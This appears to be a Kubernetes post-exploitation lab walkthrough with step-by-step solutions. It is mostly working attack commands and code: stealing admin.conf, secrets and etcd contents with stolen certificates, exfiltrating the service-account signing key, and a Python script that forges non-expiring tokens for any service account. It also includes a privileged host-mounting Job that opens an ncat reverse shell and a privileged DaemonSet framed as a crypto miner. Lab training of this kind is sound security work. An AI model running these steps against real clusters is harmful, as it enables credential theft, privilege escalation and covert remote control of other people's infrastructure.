Lab 9: Kubernetes Post-Exploitation Part 2
1. Steal Admin Config
As we are "root" on the master node, let's steal the "admin.conf" file containing the authentication data for the privileged user "kunernetes-admin".
Solution
Copy cat /etc/kubernetes/admin.conf
2. Steal Secrets
Let's use the "admin.conf" file with kubectl in order to steal all k8s secrets.
Hint
Use the kubectl "--kubeconfig" flag.
Solution
Copy kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secret <SECRET> -o yaml
Note: Replace <SECRET>
with a valid secret name.
3. Steal ETCD
There are 2 main ways to steal information from ETCD:
Read the ETCD DB files directly
Solution
Identify the ETCD DB file location via the "data-dir" parameter in the ETCD command:
Copy ps aux | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Use strings as a quick and dirty way to get information from the DB file:
Copy strings /var/lib/etcd/member/snap/db | less
We can also use more advanced grep parsing to get specific info (e.g. Service Account tokens saved as secrets):
Copy db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done | grep kube-system
Steal the ETCD client, peer and/or server key-certificate pairs and a tool such as etcdctl in order read ETCD information via the ETCD server
Hint
Certificates and keys can be found at:
/etc/kubernetes/pki/apiserver-etcd-client.key
and .crt
/etc/kubernetes/pki/etcd/peer.key
and .crt
/etc/kubernetes/pki/etcd/server.key
and .crt
Solution
Get etcdctl
:
Copy wget https://github.com/etcd-io/etcd/releases/download/v3.5.11/etcd-v3.5.11-linux-amd64.tar.gz
tar -xzvf etcd-v3.5.11-linux-amd64.tar.gz
Use etcdctl
with key-cert pair:
Copy ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --debug --endpoints https://127.0.0.1:2379 get / --prefix --keys-only
ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --endpoints https://127.0.0.1:2379 get /registry/secrets/<NAMESPACE>/<POD_NAME>
4. Steal Kubernetes Private Key
Let's steal the k8s private key.
Hint
Key can be found at /etc/kubernetes/pki/sa.key
Solution
Copy cat /etc/kubernetes/pki/sa.key
Ok, we got the key. It's a ... nice souvenir? As the key is used to sign all service account JWTs let's write a python/bash/etc. script that will use it to sign our own JWTs, for any SA, that will never expire.
Hint
Required information for a valid JWT:
Solution
Python script create_jwt.py
:
Copy #!/usr/bin/python3
import jwt, os, sys
if len(sys.argv) != 4:
print(f"\n\tUSAGE: {sys.argv[0]} <USER> <UID> <NAMESPACE>")
quit()
USER = sys.argv[1]
UID = sys.argv[2]
NAMESPACE = sys.argv[3]
f = open('/etc/kubernetes/pki/sa.key', 'rb')
private_key = f.read()
f.close()
# Example: pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":"default","serviceaccount":{"name":"default","uid":"58225f8c-8768-41ad-b42f-0f9c6b8c2040"}}}
pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":NAMESPACE,"serviceaccount":{"name":USER,"uid":UID}}}
encoded = jwt.encode(pay, private_key, algorithm="RS256")
#print(encoded)
os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth whoami")
os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth can-i --list")
### If you are impersonating the "cronjob-controller" SA uncomment the final line of code
# os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")
Get all required information for creating a JWT for the "default" SA:
Copy kubectl get sa default -o yaml
Execute the python script creating a token for "default" and test it:
Copy mv ~/.kube/config ~/.kube/config.bak # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config # optional
Note: Replace <UID>
with the valid UID of the default user.
Cool, now let's try to generate a token for the "cronjob-controller" SA and see how we can exploit it's privileges.
Hint
Let's leverage the "create" access on the "jobs.batch".
Hint
What if "bad pod" did a "bad job".
Solution
cron.yml:
Copy apiVersion: batch/v1
kind: Job
metadata:
name: everything-allowed-revshell-job
labels:
app: pentest
type: job
spec:
template:
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-revshell-job
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl <HOST> <PORT> -e /bin/bash;" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /
restartPolicy: OnFailure
Note: Replace <HOST>
and <PORT>
with the valid HOST-PORT pair pointing to your netcat listener.
Don't forget to start the listener:
Copy ncat --ssl -nlvp 4444 &
Get all required information for creating a JWT for the "kube-system:cronjob-controller" SA:
Copy kubectl get sa cronjob-controller -n kube-system -o yaml
Add/Uncomment the following line to the python script:
Copy os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")
Execute the python script creating a token for "kube-system:cronjob-controller" and test it:
Copy mv ~/.kube/config ~/.kube/config.bak # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config # optional
Reverse shell should be sent back by the malicious job pod in less then a minute.
5. Create Privileged DaemonSet
Let's create a privileged DaemonSet.
Hint
"kind: DaemonSet"
Solution
crypto_deamon.yml:
Copy apiVersion: apps/v1
kind: DaemonSet
metadata:
name: ds01
spec:
selector:
matchLabels:
ds: ds01
template:
metadata:
labels:
ds: ds01
spec:
containers:
- name: crypto
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do echo mining stuff; sleep 30; done;" ]
securityContext:
privileged: true
Check that Daemon Pods were created:
Copy kubectl apply -f crypto_deamon.yml
kubectl get pods
Last updated 10 months ago